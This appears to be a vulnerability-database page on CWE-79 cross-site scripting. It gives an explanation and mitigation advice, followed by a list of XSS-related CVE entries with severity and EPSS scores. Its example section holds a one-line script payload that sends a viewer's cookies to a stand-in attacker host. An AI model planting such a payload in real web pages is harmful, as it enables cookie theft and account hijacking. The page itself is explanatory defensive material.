Fallos del tipo CWE-79

29.275 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-36905MEDIUMWordPress Quiz And Survey Master plugin <= 7.3.4 - Multiple Auth. Stored Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.5%CVE-2023-1724HIGHFaveo Helpdesk Enterprise 6.0.1 - Privilege Escalation via Stored XSSEPSS 0.5%CVE-2026-18756HIGHHumHub Community Edition 1.18.4-pl1 - Reflected XSS in Space membership request button renderingEPSS 0.5%CVE-2022-2511MEDIUMPotential XSS in title URL parameterEPSS 0.5%CVE-2022-2510MEDIUMPotential XSS on Special:SearchCenterEPSS 0.5%CVE-2023-3073MEDIUMCross-site Scripting (XSS) - Stored in tsolucio/corebosEPSS 0.5%CVE-2023-28687HIGHReflected Cross-Site Scripting (XSS) vulnerability in multiple WordPress themesEPSS 0.5%CVE-2026-84739HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.5%CVE-2023-4655MEDIUMCross-site Scripting (XSS) - Reflected in instantsoft/icms2EPSS 0.5%CVE-2022-43996MEDIUMThe csaf_provider package before 0.8.2 allows XSS via a crafted CSAF document uploaded as text/html. The endpoint upload allows valid CSAF aEPSS 0.5%CVE-2026-49391MEDIUMFrappe: Stored XSS in Column Headers via Data ImportEPSS 0.5%CVE-2024-41656HIGHSentry vulnerable to stored Cross-Site Scripting (XSS)EPSS 0.5%CVE-2024-11676MEDIUMCodeAstro Hospital Management System Add Laboratory Equipment Page his_admin_add_lab_equipment.php cross site scriptingEPSS 0.5%CVE-2024-2247HIGHJFrog Artifactory Cross-Site ScriptingEPSS 0.5%CVE-2026-55647MEDIUMDataEase: authenticated stored XSS in the dashboard text componentsEPSS 0.5%CVE-2024-33103MEDIUMAn arbitrary file upload vulnerability in the Media Manager component of DokuWiki 2024-02-06a allows attackers to execute arbitrary code by EPSS 0.5%CVE-2026-19434MEDIUMStored Cross-site Scripting in Pentestify finding severity fieldEPSS 0.5%CVE-2026-47348MEDIUMTYPO3 CMS - Cross-Site Scripting in Indexed SearchEPSS 0.5%CVE-2022-35722MEDIUMIBM Jazz for Service Management is vulnerable to stored cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript EPSS 0.5%CVE-2026-28141HIGHWordPress NextGEN Gallery plugin <= 4.2.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.5%